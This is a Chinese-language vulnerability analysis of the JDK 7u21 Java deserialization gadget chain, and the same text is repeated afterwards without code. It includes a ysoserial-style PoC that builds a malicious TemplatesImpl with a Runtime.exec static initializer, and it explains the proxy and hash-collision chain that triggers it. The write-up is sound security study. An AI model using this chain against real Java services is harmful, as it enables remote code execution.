JDK反序列化Gadgets 7u21
字数 2231 2025-08-26 22:11:39

JDK反序列化Gadgets 7u21漏洞分析与利用

前言

JDK 7u21反序列化漏洞是一个经典的Java反序列化利用链,影响JDK 7u25之前的版本。该漏洞利用链中的所有类都是JDK自带的,最终关键类是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。本文将详细分析该漏洞的原理、利用条件以及完整的利用链构造过程。

漏洞原理

核心触发点

漏洞的核心触发点是TemplatesImpl类的getOutputProperties()方法,该方法会最终导致恶意代码执行:

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

调用栈如下:

getOutputProperties()
  -> newTransformer()
    -> getTransletInstance()
      -> defineTransletClasses()
      -> _class[_transletIndex].newInstance()

恶意TemplatesImpl类的构造条件

要构造一个恶意的TemplatesImpl类,需要满足以下条件:

  1. TemplatesImpl类的_name变量 != null
  2. TemplatesImpl类的_class变量 == null
  3. TemplatesImpl类的_bytecodes变量 != null
  4. TemplatesImpl类的_tfactory需要是一个拥有getExternalExtensionsMap()方法的类(使用JDK自带的TransformerFactoryImpl类)
  5. _bytecodes中的类必须是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子类
  6. 恶意代码需要写在_bytecodes变量对应类的静态方法或构造方法中

POC构造

使用Javassist动态构造恶意类:

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();
    
    // 1. 使用自定义的恶意模板类StubTransletPayload
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    
    // 2. 在恶意类中添加静态模块
    clazz.makeClassInitializer()
            .insertAfter("java.lang.Runtime.getRuntime().exec(\"" 
                    + command.replaceAll("\"", "\\\"") 
                    + "\");");
    
    // 3. 设置唯一类名
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    
    // 4. 转换为字节码
    final byte[] classBytes = clazz.toBytecode();
    
    // 5. 设置_bytecodes字段
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes,
            ClassFiles.classAsBytes(Foo.class)});
    
    // 6. 设置_name字段
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    
    // 7. 设置_tfactory字段
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    
    return templates;
}

利用链延伸

动态代理与AnnotationInvocationHandler

为了将漏洞触发点与反序列化入口连接起来,需要使用动态代理和AnnotationInvocationHandler

  1. AnnotationInvocationHandler实现了InvocationHandler接口,可以作为动态代理的拦截器
  2. 当调用代理对象的任何方法时,都会先进入AnnotationInvocationHandler.invoke()方法
  3. 特别关注equals()方法的处理,它会调用equalsImpl()方法
public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    }
    // ...
}

equalsImpl方法分析

equalsImpl()方法会根据this.type类中的方法去遍历调用传入对象中的所有对应的方法:

private Boolean equalsImpl(Object var1) {
    // ...
    Method[] var2 = this.getMemberMethods();
    for(int var4 = 0; var4 < var3; ++var4) {
        Method var5 = var2[var4];
        // ...
        var8 = var5.invoke(var1); // 关键调用点
        // ...
    }
    // ...
}

因此,我们可以:

  1. 构造AnnotationInvocationHandler,设置this.type = Templates.class
  2. 创建代理对象
  3. 调用代理对象的equals()方法,传入恶意TemplatesImpl对象
  4. equalsImpl()会调用TemplatesImpl.newTransformer()方法,触发漏洞

LinkedHashSet连接反序列化入口

为了从反序列化入口连接到equals()调用,使用LinkedHashSet

  1. LinkedHashSet在反序列化时会调用put()方法添加元素
  2. put()方法会调用equals()方法比较元素
  3. 通过精心构造两个元素的LinkedHashSet,确保比较顺序正确

关键点:

  • 需要保证两个元素的hash值相同,才能进入equals()比较
  • 通过AnnotationInvocationHandler.hashCodeImpl()控制hash值
private int hashCodeImpl() {
    int var1 = 0;
    for(Entry var3 : this.memberValues.entrySet()) {
        var1 += 127 * var3.getKey().hashCode() ^ memberValueHashCode(var3.getValue());
    }
    return var1;
}

通过选择特殊的key(如"f5a5a608"或空字符串""),其hashCode为0,可以使得:

hashCode = 127 * 0 ^ TemplatesImpl_hashCode = TemplatesImpl_hashCode

完整利用链

  1. 反序列化LinkedHashSet
  2. LinkedHashSet.readObject()反序列化元素并调用put()
  3. put()方法比较元素时调用equals()
  4. equals()进入AnnotationInvocationHandler.invoke()
  5. invoke()调用equalsImpl()
  6. equalsImpl()遍历调用Templates接口方法
  7. 调用TemplatesImpl.newTransformer()
  8. newTransformer()调用getTransletInstance()
  9. getTransletInstance()加载并实例化恶意类
  10. 恶意类静态代码块或构造函数中的代码被执行

修复情况

在JDK 7u80及更高版本中,AnnotationInvocationHandler构造函数增加了校验:

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    Class[] var3 = var1.getInterfaces();
    if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
        this.type = var1;
        this.memberValues = var2;
    } else {
        throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
    }
}

这使得在高版本中无法直接使用Templates.class作为this.type,从而阻断了利用链。

其他触发点

除了JDK自带的TemplatesImpl类外,第三方库xalan(2.7.2版本)中也存在类似的类org.apache.xalan.xsltc.trax.TemplatesImpl,可以作为替代触发点,扩大了攻击面。

总结

JDK 7u21反序列化漏洞利用链展示了Java反序列化漏洞的复杂性,涉及:

  1. 动态类加载与字节码操作
  2. Java动态代理机制
  3. 集合类的反序列化过程
  4. Hash算法与equals方法的巧妙利用

这个漏洞虽然已被修复,但其利用思路对理解Java反序列化漏洞具有重要意义。

JDK反序列化Gadgets 7u21漏洞分析与利用 前言 JDK 7u21反序列化漏洞是一个经典的Java反序列化利用链,影响JDK 7u25之前的版本。该漏洞利用链中的所有类都是JDK自带的,最终关键类是 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 。本文将详细分析该漏洞的原理、利用条件以及完整的利用链构造过程。 漏洞原理 核心触发点 漏洞的核心触发点是 TemplatesImpl 类的 getOutputProperties() 方法,该方法会最终导致恶意代码执行: 调用栈如下: 恶意TemplatesImpl类的构造条件 要构造一个恶意的 TemplatesImpl 类,需要满足以下条件: TemplatesImpl 类的 _name 变量 != null TemplatesImpl 类的 _class 变量 == null TemplatesImpl 类的 _bytecodes 变量 != null TemplatesImpl 类的 _tfactory 需要是一个拥有 getExternalExtensionsMap() 方法的类(使用JDK自带的 TransformerFactoryImpl 类) _bytecodes 中的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类 恶意代码需要写在 _bytecodes 变量对应类的静态方法或构造方法中 POC构造 使用 Javassist 动态构造恶意类: 利用链延伸 动态代理与AnnotationInvocationHandler 为了将漏洞触发点与反序列化入口连接起来,需要使用动态代理和 AnnotationInvocationHandler : AnnotationInvocationHandler 实现了 InvocationHandler 接口,可以作为动态代理的拦截器 当调用代理对象的任何方法时,都会先进入 AnnotationInvocationHandler.invoke() 方法 特别关注 equals() 方法的处理,它会调用 equalsImpl() 方法 equalsImpl方法分析 equalsImpl() 方法会根据 this.type 类中的方法去遍历调用传入对象中的所有对应的方法: 因此,我们可以: 构造 AnnotationInvocationHandler ,设置 this.type = Templates.class 创建代理对象 调用代理对象的 equals() 方法,传入恶意 TemplatesImpl 对象 equalsImpl() 会调用 TemplatesImpl.newTransformer() 方法,触发漏洞 LinkedHashSet连接反序列化入口 为了从反序列化入口连接到 equals() 调用,使用 LinkedHashSet : LinkedHashSet 在反序列化时会调用 put() 方法添加元素 put() 方法会调用 equals() 方法比较元素 通过精心构造两个元素的 LinkedHashSet ,确保比较顺序正确 关键点: 需要保证两个元素的hash值相同,才能进入 equals() 比较 通过 AnnotationInvocationHandler.hashCodeImpl() 控制hash值 通过选择特殊的key(如 "f5a5a608" 或空字符串 "" ),其hashCode为0,可以使得: 完整利用链 反序列化 LinkedHashSet LinkedHashSet.readObject() 反序列化元素并调用 put() put() 方法比较元素时调用 equals() equals() 进入 AnnotationInvocationHandler.invoke() invoke() 调用 equalsImpl() equalsImpl() 遍历调用 Templates 接口方法 调用 TemplatesImpl.newTransformer() newTransformer() 调用 getTransletInstance() getTransletInstance() 加载并实例化恶意类 恶意类静态代码块或构造函数中的代码被执行 修复情况 在JDK 7u80及更高版本中, AnnotationInvocationHandler 构造函数增加了校验: 这使得在高版本中无法直接使用 Templates.class 作为 this.type ,从而阻断了利用链。 其他触发点 除了JDK自带的 TemplatesImpl 类外,第三方库 xalan (2.7.2版本)中也存在类似的类 org.apache.xalan.xsltc.trax.TemplatesImpl ,可以作为替代触发点,扩大了攻击面。 总结 JDK 7u21反序列化漏洞利用链展示了Java反序列化漏洞的复杂性,涉及: 动态类加载与字节码操作 Java动态代理机制 集合类的反序列化过程 Hash算法与equals方法的巧妙利用 这个漏洞虽然已被修复,但其利用思路对理解Java反序列化漏洞具有重要意义。